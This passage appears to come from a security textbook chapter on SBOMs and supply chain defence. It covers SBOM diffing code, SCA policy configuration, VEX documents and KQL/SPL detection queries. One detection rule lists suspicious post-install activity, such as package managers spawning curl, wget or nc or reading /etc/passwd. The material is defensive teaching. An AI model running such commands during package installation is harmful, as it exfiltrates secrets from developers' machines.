def load_components(sbom_path: str) -> dict:
"""Load CycloneDX SBOM and return component dict keyed by PURL."""
with open(sbom_path) as f:
sbom = json.load(f)
components = {}
for c in sbom.get("components", []):
purl = c.get("purl", f"unknown/{c.get('name', 'unknown')}")
components[purl] = {
"name": c.get("name", "unknown"),
"version": c.get("version", "unknown"),
"hashes": {h["alg"]: h["content"]
for h in c.get("hashes", [])},
"licenses": [l.get("license", {}).get("id", "unknown")
for l in c.get("licenses", [])]
}
return components
def diff_sboms(old_path: str, new_path: str) -> dict:
"""Compare two SBOMs and return changes."""
old = load_components(old_path)
new = load_components(new_path)
return {
"added": {k: v for k, v in new.items() if k not in old},
"removed": {k: v for k, v in old.items() if k not in new},
"version_changed": {
k: {"old": old[k]["version"], "new": new[k]["version"]}
for k in old if k in new and old[k]["version"] != new[k]["version"]
},
"hash_changed": {
k: {"old_hash": old[k]["hashes"], "new_hash": new[k]["hashes"]}
for k in old if k in new and old[k]["hashes"] != new[k]["hashes"]
and old[k]["version"] == new[k]["version"]
}
}
if __name__ == "__main__":
changes = diff_sboms(sys.argv[1], sys.argv[2])
if changes["added"]:
print(f"\n[NEW] {len(changes['added'])} packages added:")
for purl, info in changes["added"].items():
print(f" + {info['name']}@{info['version']}")
if changes["removed"]:
print(f"\n[REMOVED] {len(changes['removed'])} packages removed:")
for purl, info in changes["removed"].items():
print(f" - {info['name']}@{info['version']}")
if changes["hash_changed"]:
print(f"\n[DANGER] {len(changes['hash_changed'])} packages changed "
f"hash WITHOUT version change:")
for purl, info in changes["hash_changed"].items():
print(f" ! {purl}")
if changes["version_changed"]:
print(f"\n[INFO] {len(changes['version_changed'])} version changes:")
for purl, info in changes["version_changed"].items():
print(f" ~ {purl}: {info['old']} -> {info['new']}")
Hash Change Without Version Change
If a package hash changes but the version number stays the same, this is a strong indicator of supply chain compromise. Legitimate package updates always change the version number. A hash-only change suggests the package content was modified in-place — either through registry compromise or a mutable tag overwrite.
54.7.3 Detection: Malicious Package Installation Indicators¶
// Detect suspicious post-install script execution from package managers
DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName in ("npm", "npm.cmd", "pip", "pip3",
"pipx", "yarn", "pnpm")
| where FileName in ("cmd.exe", "powershell.exe", "bash", "sh",
"curl", "wget", "node", "python", "python3")
| where ProcessCommandLine has_any (
"http://", "https://", "/etc/passwd", "env", "hostname",
"whoami", "curl", "wget", "nc ", "base64")
| project Timestamp, DeviceName, InitiatingProcessFileName,
FileName, ProcessCommandLine, AccountName
| extend AlertTitle = "Suspicious command execution during package install"
index=endpoint sourcetype=sysmon EventCode=1
| where ParentImage IN ("*npm*", "*pip*", "*pip3*", "*yarn*", "*pnpm*")
| where Image IN ("*cmd.exe", "*powershell.exe", "*bash", "*sh",
"*curl*", "*wget*", "*node*", "*python*")
| where CommandLine="*http://*" OR CommandLine="*https://*"
OR CommandLine="*/etc/passwd*" OR CommandLine="*hostname*"
OR CommandLine="*whoami*" OR CommandLine="*base64*"
| table _time, ComputerName, ParentImage, Image, CommandLine, User
| eval AlertTitle="Suspicious command execution during package install"
54.8 Software Composition Analysis (SCA) Pipelines¶
Software Composition Analysis (SCA) is the process of automatically identifying open-source and third-party components in an application, then analyzing them for known vulnerabilities, license compliance, and code quality issues. SCA tools consume or generate SBOMs as part of this analysis.
54.8.1 SCA Pipeline Architecture¶
┌──────────────────────────────────────────────────────────────────────────────┐
│ SCA PIPELINE ARCHITECTURE │
├──────────────────────────────────────────────────────────────────────────────┤
│ │
│ Developer CI/CD SCA Engine Policy Action │
│ ───────── ───── ────────── ────── ────── │
│ │
│ git push ──> Build ──> SBOM ──> Vuln Scan ──> Gate Check ──> Pass/Fail │
│ │ Gen License │ │ │
│ │ │ Malware │ │ │
│ │ │ Analysis │ │ │
│ │ │ │ │ │
│ │ └──> SBOM ──────────────>│ │ │
│ │ Store │ │ │
│ │ │ │ │
│ └──── Test ───────────────────────>│ │ │
│ │ │ │
│ ┌──────────────┐ │ │
│ │ Policy Rules: │ │ │
│ │ • No CRITICAL │──────>│ │
│ │ • No GPL in │ Block/Allow │
│ │ proprietary │ │ │
│ │ • No unknown │ │ │
│ │ licenses │ │ │
│ │ • Allowlist │ │ │
│ └──────────────┘ │ │
│ v │
│ ┌──────────────┐ │
│ │ Merge / Deploy│ │
│ │ or Block │ │
│ └──────────────┘ │
└──────────────────────────────────────────────────────────────────────────────┘
54.8.2 Policy Gating Strategies¶
| Gate Level | Policy | Enforcement | Impact |
|---|---|---|---|
| Advisory | Any severity | Notify but don't block | Awareness — developers informed |
| Soft gate | High/Critical CVEs | Block PR but allow override | Balance — urgent risks flagged |
| Hard gate | CISA KEV vulnerabilities | Block merge, no override | Maximum — zero tolerance for known-exploited |
| License gate | GPL/AGPL in proprietary code | Block merge | Legal — prevent license contamination |
| Freshness gate | Dependencies >12 months without update | Advisory warning | Maintenance — identify abandoned dependencies |
54.8.3 SCA Integration Configuration¶
# .sca-policy.yml — SCA pipeline policy configuration
version: "1.0"
policies:
vulnerability:
fail_on_severity: "critical"
warn_on_severity: "high"
ignore_unfixed: false
kev_enforcement: "block" # Always block CISA KEV vulnerabilities
epss_threshold: 0.7 # Alert on EPSS > 70%
max_age_days: 30 # CVE must be addressed within 30 days
license:
banned_licenses:
- "GPL-2.0-only"
- "GPL-3.0-only"
- "AGPL-3.0-only"
- "SSPL-1.0"
warn_licenses:
- "LGPL-2.1-only"
- "LGPL-3.0-only"
- "MPL-2.0"
require_license: true # Block components with no declared license
allowed_exceptions:
- "pkg:npm/synthlib-dev-tools@*" # Dev-only, not distributed
supply_chain:
require_sbom_attestation: true
hash_verification: true
max_new_dependencies_per_pr: 5 # Flag PRs adding >5 new deps
block_typosquats: true
allowlist_registries:
- "https://registry.example.com"
- "https://registry.npmjs.org"
- "https://pypi.org"
freshness:
warn_abandoned_days: 365
warn_no_maintainer: true
54.8.4 Monitoring SCA Pipeline Health¶
// SCA pipeline metrics — track policy violations over time
SCAResults_CL
| where TimeGenerated > ago(30d)
| summarize
TotalScans = count(),
CriticalVulns = countif(MaxSeverity_s == "CRITICAL"),
HighVulns = countif(MaxSeverity_s == "HIGH"),
LicenseBlocks = countif(LicenseViolation_b == true),
SupplyChainAlerts = countif(SupplyChainAlert_b == true),
BuildsBlocked = countif(PolicyResult_s == "BLOCKED")
by bin(TimeGenerated, 1d), Repository_s
| order by TimeGenerated desc
| render timechart
index=sca_results earliest=-30d
| timechart span=1d
count AS TotalScans,
count(eval(MaxSeverity="CRITICAL")) AS CriticalVulns,
count(eval(MaxSeverity="HIGH")) AS HighVulns,
count(eval(LicenseViolation="true")) AS LicenseBlocks,
count(eval(SupplyChainAlert="true")) AS SupplyChainAlerts,
count(eval(PolicyResult="BLOCKED")) AS BuildsBlocked
by Repository
54.9 SBOM Lifecycle Management¶
SBOMs are not static documents — they must be created, versioned, distributed, consumed, and retired throughout the software lifecycle. Effective lifecycle management transforms SBOMs from compliance artifacts into living operational intelligence.
54.9.1 SBOM Lifecycle Phases¶
┌────────┐ ┌──────────┐ ┌───────────┐ ┌──────────┐ ┌──────────┐
│Generate│──>│ Validate │──>│ Store & │──>│ Distribute│──>│ Consume │
│ │ │ & Enrich │ │ Version │ │ │ │ & Act │
└────────┘ └──────────┘ └───────────┘ └──────────┘ └──────────┘
│ │ │ │ │
v v v v v
Build CI Schema check SBOM repo API/feed Vuln scan
Container Vuln enrich Git-versioned OCI registry License check
Source scan License enrich Immutable Email/portal Policy gate
Hash verify Timestamped CSAF/VEX Incident resp.
54.9.2 SBOM Versioning Strategy¶
SBOMs must be versioned in lockstep with the software they describe. A version mismatch between an SBOM and its artifact undermines all downstream analysis.
| Strategy | Description | Best For |
|---|---|---|
| Build-coupled | SBOM generated every build, named with build ID | CI/CD pipelines, containers |
| Release-coupled | SBOM generated at release, tagged with version | Released software products |
| Periodic | SBOM generated on schedule (daily/weekly) | Runtime environments, deployed infrastructure |
| Event-triggered | SBOM regenerated when dependencies change | Lock file changes, security events |
# SBOM naming convention: {product}-{version}-{format}-{timestamp}.json
# Examples:
# synth-webapp-2.4.1-cyclonedx-20260412T080000Z.json
# synth-webapp-2.4.1-spdx-20260412T080000Z.json
# Store SBOMs as OCI artifacts alongside container images
oras push registry.example.com/acme/synth-webapp:2.4.1-sbom \
--artifact-type application/vnd.cyclonedx+json \
synth-webapp-2.4.1.cdx.json:application/vnd.cyclonedx+json
# Retrieve SBOM from OCI registry
oras pull registry.example.com/acme/synth-webapp:2.4.1-sbom
54.9.3 SBOM-as-a-Service Architecture¶
Large organizations managing hundreds of applications need centralized SBOM management — an internal SBOM service that handles storage, querying, and correlation at enterprise scale.
# SBOM-as-a-Service API endpoints (synthetic example)
openapi: "3.0.3"
info:
title: SBOM Service API (Synthetic)
version: "1.0.0"
paths:
/api/v1/sboms:
post:
summary: Upload SBOM for a software artifact
requestBody:
content:
application/vnd.cyclonedx+json: {}
application/spdx+json: {}
get:
summary: List all SBOMs with optional filters
parameters:
- name: product
in: query
schema: { type: string }
- name: version
in: query
schema: { type: string }
/api/v1/sboms/{id}/vulnerabilities:
get:
summary: Get vulnerabilities for a specific SBOM
parameters:
- name: severity_min
in: query
schema: { type: string, enum: [LOW, MEDIUM, HIGH, CRITICAL] }
/api/v1/query/component:
get:
summary: Find all applications using a specific component
description: >
The "reverse lookup" — when a CVE drops, find every
application that contains the affected package.
parameters:
- name: purl
in: query
schema: { type: string }
example: "pkg:npm/synthlib-core@3.2.1"
/api/v1/query/license:
get:
summary: Find all applications using components with a given license
parameters:
- name: license_id
in: query
schema: { type: string }
example: "GPL-3.0-only"
The Reverse Lookup — The Most Valuable SBOM Query
When a critical vulnerability like Log4Shell drops, the most important question is: "Which of our applications use this component?" A centralized SBOM service answers this in seconds via the reverse lookup query. Without centralized SBOMs, this query takes days or weeks of manual investigation — time that attackers use for exploitation.
54.10 VEX Integration¶
Vulnerability Exploitability eXchange (VEX) documents communicate whether a given vulnerability in a component actually affects a specific product. VEX reduces the overwhelming noise of vulnerability reports by filtering out non-exploitable findings. See Chapter 53: Zero-Day Response for foundational VEX concepts.
54.10.1 VEX Status Values¶
| Status | Meaning | Action |
|---|---|---|
| Not Affected | The vulnerability does not affect this product | No remediation needed — document justification |
| Affected | The vulnerability affects this product | Remediation required — prioritize based on severity |
| Fixed | The vulnerability was present but has been fixed | Verify fix version is deployed |
| Under Investigation | Impact assessment is in progress | Monitor for status update |
54.10.2 CycloneDX VEX Document¶
{
"bomFormat": "CycloneDX",
"specVersion": "1.5",
"serialNumber": "urn:uuid:f1a2b3c4-d5e6-7890-abcd-ef1234567890",
"version": 1,
"vulnerabilities": [
{
"id": "SYNTH-2026-0042",
"source": {
"name": "NVD",
"url": "https://nvd.example.com/vuln/detail/SYNTH-2026-0042"
},
"ratings": [
{
"source": { "name": "NVD" },
"score": 9.8,
"severity": "critical",
"method": "CVSSv31",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
}
],
"description": "Remote code execution in synthlib-core XML parser (synthetic)",
"affects": [
{
"ref": "pkg:npm/synthlib-core@3.2.1"
}
],
"analysis": {
"state": "not_affected",
"justification": "code_not_reachable",
"detail": "synth-webapp does not use the XML parsing module of synthlib-core. The vulnerable function parseXMLDocument() is never called in any code path. Verified by static analysis and runtime instrumentation.",
"response": ["will_not_fix"]
}
},
{
"id": "SYNTH-2026-0108",
"source": {
"name": "OSV",
"url": "https://osv.example.com/vulnerability/SYNTH-2026-0108"
},
"ratings": [
{
"source": { "name": "NVD" },
"score": 7.5,
"severity": "high",
"method": "CVSSv31",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
}
],
"description": "Information disclosure in phantom-utils HTTP client (synthetic)",
"affects": [
{
"ref": "pkg:npm/phantom-utils@1.4.2"
}
],
"analysis": {
"state": "affected",
"detail": "synth-webapp uses phantom-utils HTTP client in authentication flow. Sensitive headers may leak to redirect targets.",
"response": ["update"],
"firstIssued": "2026-04-10T12:00:00Z"
}
}
]
}
54.10.3 VEX Workflow Integration¶
// Filter vulnerability alerts using VEX status to reduce false positives
VulnerabilityCorrelation_CL
| join kind=leftouter (
VEXDocuments_CL
| where VEXStatus_s in ("not_affected", "fixed")
| project CVE_s, VEXStatus_s, VEXJustification_s, ProductPURL_s
) on CVE_s, $left.ApplicationPURL_s == $right.ProductPURL_s
| where isempty(VEXStatus_s) or VEXStatus_s == "affected"
| project TimeGenerated, ApplicationName_s, PackageName_s,
CVE_s, SeverityScore_d, VEXStatus_s,
Environment_s
| sort by SeverityScore_d desc
index=vuln_correlation
| join type=left CVE ApplicationPURL
[search index=vex_documents
| where VEXStatus IN ("not_affected", "fixed")
| fields CVE, VEXStatus, VEXJustification, ProductPURL
| rename ProductPURL AS ApplicationPURL]
| where isnull(VEXStatus) OR VEXStatus="affected"
| table _time, ApplicationName, PackageName, CVE,
SeverityScore, VEXStatus, Environment
| sort -SeverityScore
VEX Reduces Alert Fatigue
A typical enterprise application with 500 dependencies might generate 200+ vulnerability findings from an automated scan. After applying VEX analysis, 60-70% are typically classified as "not_affected" because the vulnerable code path is not reachable, the vulnerable feature is not enabled, or compensating controls mitigate the risk. VEX transforms a 200-item remediation backlog into a focused 60-item actionable list.
54.11 SBOM Security Architecture¶
Enterprise SBOM management requires a reference architecture that integrates SBOM generation, storage, analysis, and response across the organization.
54.11.1 Enterprise SBOM Reference Architecture¶
┌──────────────────────────────────────────────────────────────────────────────┐
│ ENTERPRISE SBOM SECURITY ARCHITECTURE │
├──────────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ Dev Team A │ │ Dev Team B │ │ Vendor X │ │ OSS Project │ │
│ │ (Internal) │ │ (Internal) │ │ (3rd Party) │ │ (External) │ │
│ └──────┬──────┘ └──────┬──────┘ └──────┬──────┘ └──────┬──────┘ │
│ │ │ │ │ │
│ v v v v │
│ ┌──────────────────────────────────────────────────────────────────┐ │
│ │ SBOM INGESTION LAYER │ │
│ │ • CI/CD webhook receivers • API upload endpoint │ │
│ │ • Vendor portal connector • Registry scanner (periodic) │ │
│ │ • Format normalization (SPDX ↔ CycloneDX conversion) │ │
│ └──────────────────────────┬──────────────────────────────────────┘ │
│ v │
│ ┌──────────────────────────────────────────────────────────────────┐ │
│ │ SBOM DATA LAKE │ │
│ │ • Versioned SBOM storage • Component index (PURL-keyed) │ │
│ │ • Dependency graph DB • License database │ │
│ │ • Integrity hashes • Provenance attestations │ │
│ └──────────────────────────┬──────────────────────────────────────┘ │
│ v │
│ ┌──────────────────────────────────────────────────────────────────┐ │
│ │ ANALYSIS ENGINES │ │
│ │ ┌────────────┐ ┌────────────┐ ┌────────────┐ ┌────────────┐ │ │
│ │ │ Vuln │ │ License │ │ Supply │ │ Drift │ │ │
│ │ │ Correlator │ │ Compliance │ │ Chain │ │ Detector │ │ │
│ │ │ (NVD/OSV) │ │ Checker │ │ Threat │ │ (SBOM Diff)│ │ │
│ │ └────────────┘ └────────────┘ └────────────┘ └────────────┘ │ │
│ └──────────────────────────┬──────────────────────────────────────┘ │
│ v │
│ ┌──────────────────────────────────────────────────────────────────┐ │
│ │ RESPONSE & INTEGRATION │ │
│ │ • SIEM alerts (Sentinel/Splunk) • Ticketing (Jira/ServiceNow) │ │
│ │ • SOAR playbooks • Executive dashboards │ │
│ │ • VEX generation & distribution • Compliance reports │ │
│ │ • Incident response triggers • Vendor risk assessments │ │
│ └──────────────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────────────────┘
54.11.2 SBOM Trust Boundaries¶
| Trust Zone | Components | Controls |
|---|---|---|
| Internal builds | Applications built by internal teams | Full SBOM generation, signed attestation, policy gating |
| Vendor software | Commercial off-the-shelf (COTS) products | Require vendor-provided SBOMs, validate on receipt |
| Open-source | Direct open-source dependencies | Community-generated SBOMs, hash verification |
| Transitive | Dependencies of dependencies | Inherited trust — verify through deep scanning |
| Runtime | Dynamically loaded components | Runtime SBOM generation, behavioral analysis |
54.11.3 SBOM Access Control¶
Not all SBOM data should be freely available — SBOMs can reveal an organization's technology stack, making them valuable to attackers if leaked.
SBOMs as Attack Intelligence
An SBOM reveals exactly which components and versions an organization uses. An attacker with access to an SBOM can immediately identify known-vulnerable components and craft targeted exploits. SBOM access should be restricted using:
- Role-based access control (RBAC) on the SBOM service
- Data classification (internal SBOMs vs customer-facing SBOMs)
- Redaction of internal component details in externally shared SBOMs
- Audit logging of all SBOM access and queries
- Encryption at rest and in transit for SBOM storage
// Monitor for unauthorized SBOM repository access
AuditLogs
| where TimeGenerated > ago(24h)
| where OperationName == "Access SBOM Repository"
| where Identity !in ("sbom-service@acme.example.com",
"ci-pipeline@acme.example.com",
"secops-team@acme.example.com")
| project TimeGenerated, Identity, OperationName,
TargetResource = tostring(TargetResources[0].displayName),
IPAddress = tostring(InitiatedBy.user.ipAddress),
ResultType
| extend AlertTitle = strcat("Unauthorized SBOM access by ", Identity)
54.12 Detection Engineering for Supply Chain Attacks via SBOM¶
This section provides production-ready detection queries that leverage SBOM data to identify supply chain attacks. Each detection pairs KQL (Microsoft Sentinel) and SPL (Splunk) queries.
54.12.1 Detection: Unexpected Dependency Version Jump¶
A sudden major version jump (e.g., 1.0.0 to 99.0.0) in a dependency is a classic indicator of dependency confusion attacks.
// Detect dependency confusion via abnormal version jumps
let version_to_number = (v: string) {
toint(split(v, ".")[0]) * 10000 +
toint(split(v, ".")[1]) * 100 +
toint(split(v, ".")[2])
};
SBOMInventory_CL
| where TimeGenerated > ago(7d)
| summarize arg_min(TimeGenerated, PreviousVersion_s),
arg_max(TimeGenerated, CurrentVersion_s) by PackageName_s
| extend prev_num = version_to_number(PreviousVersion_s)
| extend curr_num = version_to_number(CurrentVersion_s)
| where curr_num - prev_num > 50000 // Major version jump > 5
| project PackageName_s, PreviousVersion_s, CurrentVersion_s,
VersionDelta = curr_num - prev_num
| extend AlertTitle = strcat("Suspicious version jump: ", PackageName_s,
" from ", PreviousVersion_s,
" to ", CurrentVersion_s)
index=sbom_inventory earliest=-7d
| stats earliest(PackageVersion) AS PreviousVersion,
latest(PackageVersion) AS CurrentVersion by PackageName
| eval prev_major=tonumber(mvindex(split(PreviousVersion, "."), 0))
| eval curr_major=tonumber(mvindex(split(CurrentVersion, "."), 0))
| where curr_major - prev_major > 5
| table PackageName, PreviousVersion, CurrentVersion
| eval AlertTitle="Suspicious version jump: ".PackageName
." from ".PreviousVersion." to ".CurrentVersion
54.12.2 Detection: Package Registry Anomalies¶
// Detect package downloads from unexpected registries
DeviceNetworkEvents
| where Timestamp > ago(24h)
| where RemoteUrl has_any ("registry", "npm", "pypi", "maven", "crates")
| where RemoteUrl !has_any (
"registry.npmjs.org",
"pypi.org",
"repo1.maven.org",
"crates.io",
"registry.example.com" // Internal registry
)
| where InitiatingProcessFileName in ("npm", "pip", "pip3", "mvn",
"gradle", "cargo", "yarn", "pnpm")
| project Timestamp, DeviceName, InitiatingProcessFileName,
RemoteUrl, RemoteIP, RemotePort
| extend AlertTitle = strcat("Package download from unknown registry: ",
RemoteUrl)
index=network sourcetype=firewall
| where dest_port IN (443, 80)
| where process_name IN ("npm", "pip", "pip3", "mvn",
"gradle", "cargo", "yarn", "pnpm")
| where NOT (url="*registry.npmjs.org*"
OR url="*pypi.org*"
OR url="*repo1.maven.org*"
OR url="*crates.io*"
OR url="*registry.example.com*")
| where url="*registry*" OR url="*packages*"
| table _time, src, process_name, url, dest, dest_port
| eval AlertTitle="Package download from unknown registry: ".url
54.12.3 Detection: Build Artifact Tampering¶
// Detect when build artifact hash doesn't match expected SBOM hash
BuildArtifacts_CL
| join kind=inner (
SBOMInventory_CL
| where TimeGenerated > ago(1d)
| project ArtifactName_s, ExpectedHash_s = ArtifactSHA256_s, BuildId_s
) on ArtifactName_s, BuildId_s
| where ActualHash_s != ExpectedHash_s
| project TimeGenerated, ArtifactName_s, BuildId_s,
ExpectedHash_s, ActualHash_s,
BuildPipeline_s, BuildAgent_s
| extend AlertSeverity = "Critical"
| extend AlertTitle = strcat("Build artifact hash mismatch: ",
ArtifactName_s, " in build ", BuildId_s)
index=build_artifacts
| join ArtifactName, BuildId
[search index=sbom_inventory earliest=-1d
| rename ArtifactSHA256 AS ExpectedHash
| fields ArtifactName, ExpectedHash, BuildId]
| where ActualHash != ExpectedHash
| table _time, ArtifactName, BuildId, ExpectedHash, ActualHash,
BuildPipeline, BuildAgent
| eval AlertSeverity="Critical"
| eval AlertTitle="Build artifact hash mismatch: "
.ArtifactName." in build ".BuildId
54.12.4 Detection: Maintainer Account Compromise Indicators¶
// Detect package updates from unusual publisher accounts or geolocations
PackageRegistryAudit_CL
| where TimeGenerated > ago(7d)
| where Action_s == "publish"
| summarize
TypicalPublishers = make_set(Publisher_s, 10),
TypicalLocations = make_set(PublisherGeo_s, 10)
by PackageName_s
| join kind=inner (
PackageRegistryAudit_CL
| where TimeGenerated > ago(24h)
| where Action_s == "publish"
) on PackageName_s
| where Publisher_s !in (TypicalPublishers)
or PublisherGeo_s !in (TypicalLocations)
| project TimeGenerated, PackageName_s, PackageVersion_s,
Publisher_s, PublisherGeo_s,
TypicalPublishers, TypicalLocations
| extend AlertTitle = strcat("Unusual publisher for ", PackageName_s,
": ", Publisher_s, " from ", PublisherGeo_s)
index=package_registry action=publish earliest=-7d
| stats values(publisher) AS typical_publishers,
values(publisher_geo) AS typical_locations by package_name
| join package_name
[search index=package_registry action=publish earliest=-24h
| fields _time, package_name, package_version,
publisher, publisher_geo]
| where NOT publisher IN (typical_publishers)
OR NOT publisher_geo IN (typical_locations)
| table _time, package_name, package_version, publisher,
publisher_geo, typical_publishers, typical_locations
| eval AlertTitle="Unusual publisher for ".package_name
.": ".publisher." from ".publisher_geo
54.12.5 Detection: Mass Dependency Addition¶
A pull request or commit that suddenly adds a large number of new dependencies is suspicious — it may indicate a compromised developer account or automated supply chain injection.
// Alert when a single commit adds more than threshold new dependencies
let threshold = 10;
SBOMDiff_CL
| where TimeGenerated > ago(24h)
| where ChangeType_s == "added"
| summarize NewDepsCount = count(),
NewDeps = make_set(PackageName_s, 50)
by CommitId_s, Repository_s, Author_s
| where NewDepsCount > threshold
| project TimeGenerated = now(), CommitId_s, Repository_s,
Author_s, NewDepsCount, NewDeps
| extend AlertTitle = strcat(Author_s, " added ", NewDepsCount,
" new dependencies in single commit to ",
Repository_s)
index=sbom_diff ChangeType="added" earliest=-24h
| stats count AS NewDepsCount,
values(PackageName) AS NewDeps
by CommitId, Repository, Author
| where NewDepsCount > 10
| table _time, CommitId, Repository, Author, NewDepsCount, NewDeps
| eval AlertTitle=Author." added ".NewDepsCount
." new dependencies in single commit to ".Repository
54.13 SBOM Maturity Model¶
Organizations should assess their SBOM capability maturity to guide investment and improvement.
| Level | Name | Capabilities | Metrics |
|---|---|---|---|
| L1 | Ad Hoc | Manual SBOM generation for compliance requests | % of apps with any SBOM |
| L2 | Repeatable | Automated SBOM generation in CI/CD for key applications | SBOM coverage % across portfolio |
| L3 | Defined | Centralized SBOM storage, automated vulnerability correlation | Mean time to identify affected apps (MTIAA) |
| L4 | Managed | Policy gating, VEX integration, vendor SBOM requirements | False positive rate, policy violation rate |
| L5 | Optimizing | Predictive analytics, automated remediation, SBOM-driven threat hunting | Mean time to remediate (MTTR), supply chain risk score |
Measuring SBOM Program Effectiveness
The most important metric for an SBOM program is Mean Time to Identify Affected Applications (MTIAA): when a critical CVE drops, how quickly can you identify every application in your portfolio that contains the affected component? Pre-SBOM, this typically takes days to weeks. At maturity Level 3+, this should take minutes.
Review Questions¶
-
An organization discovers that a critical CVE affects
synthlib-core@3.2.1. Using their SBOM infrastructure, they identify 47 applications containing this component. However, after VEX analysis, only 12 applications actually call the vulnerable code path. What is the VEX status for the 35 non-affected applications, and what justification applies? -
A developer's
npm installcommand resolvesacme-auth-internal@99.0.0from the public npm registry instead of the expectedacme-auth-internal@2.3.1from the private registry. What type of attack is this, and what SBOM-based detection would have caught it? -
Compare SPDX 2.3 and CycloneDX 1.5 for an organization that needs both license compliance reporting and embedded vulnerability tracking. Which format would you recommend and why? Under what circumstances would you recommend using both?
-
A security team observes that a package's SHA-256 hash changed between two SBOM snapshots, but the package version remained the same (
phantom-utils@1.4.2). What does this indicate, and what is the appropriate incident response action? -
An application has 23 direct dependencies and 847 transitive dependencies. During SBOM analysis, a GPL-3.0-licensed component is found at the fourth level of the transitive dependency tree. Does this create a license compliance risk for a proprietary application? How would you detect this automatically?
-
Design an SCA policy gating strategy that balances security rigor with developer velocity. What severity levels should trigger hard blocks vs soft warnings? How should CISA KEV status and EPSS scores influence gating decisions?
-
A third-party vendor provides an SBOM for their commercial product, but the SBOM only lists 15 components while binary analysis reveals over 200 libraries in the artifact. What does this gap suggest about the SBOM quality, and what steps should the consuming organization take?
Key Takeaways¶
-
SBOMs are the foundation of software supply chain security — without knowing what components you run, you cannot assess vulnerability exposure, license risk, or supply chain integrity.
-
Executive Order 14028 made SBOMs a federal requirement, but the operational value extends far beyond compliance — SBOMs enable rapid incident response, automated vulnerability management, and supply chain threat detection.
-
CycloneDX and SPDX are the dominant formats — CycloneDX leads for security operations with native VEX and vulnerability support; SPDX leads for license compliance with ISO standardization. Many organizations support both.
-
Transitive dependencies are the primary risk — most vulnerabilities exist in dependencies your developers never explicitly chose. SBOM analysis must cover the entire dependency tree, not just direct dependencies.
-
Dependency confusion and typosquatting are active attack vectors — SBOM diff analysis, allowlisted registries, and name similarity checking are essential defenses against supply chain manipulation.
-
VEX dramatically reduces false positives — correlating vulnerabilities against actual code reachability eliminates 60-70% of scanner findings, focusing remediation effort on truly exploitable issues.
-
SCA pipelines must gate deployments — automated policy enforcement in CI/CD prevents vulnerable, license-violating, or suspicious components from reaching production.
-
SBOM lifecycle management is an ongoing process — SBOMs must be versioned, distributed, and continuously correlated against evolving vulnerability data, not generated once and forgotten.
-
SBOM data itself requires protection — SBOMs reveal your technology stack to attackers. Apply RBAC, encryption, and audit logging to SBOM storage and access.
-
Detection engineering using SBOM data creates unique visibility — supply chain attacks that evade traditional endpoint and network detection can be caught through SBOM diff analysis, hash verification, and registry monitoring.
Cross-References¶
| Topic | Chapter | Relevance |
|---|---|---|
| Supply chain attack fundamentals | Supply Chain Security concepts | Attack vectors that SBOMs defend against |
| Vulnerability management lifecycle | Chapter 29: Vulnerability Management | CVSS scoring, patch prioritization that SBOMs feed into |
| Zero-day response & VEX | Chapter 53: Zero-Day Response | VEX integration, EPSS scoring, CVE lifecycle |
| Detection engineering | Chapter 5: Detection Engineering at Scale | KQL/SPL query methodology used in SBOM detections |
| SOAR automation | Chapter 8: SOAR & Automation Playbooks | Automated response to SBOM-detected supply chain threats |
| Cloud security | Chapter 20: Cloud Attack & Defense | Container SBOM generation, cloud-native build pipelines |
| Incident response | Chapter 9: Incident Response Lifecycle | Using SBOMs during incident investigation and scoping |
| Threat intelligence | Chapter 7: Threat Intelligence & Context | Threat feeds correlated with SBOM component data |
| Malware analysis | Chapter 18: Malware Analysis | Analyzing malicious packages detected via SBOM |
| Security governance | Chapter 13: Security Governance, Privacy & Risk | Compliance frameworks requiring SBOM (EO 14028, NIST) |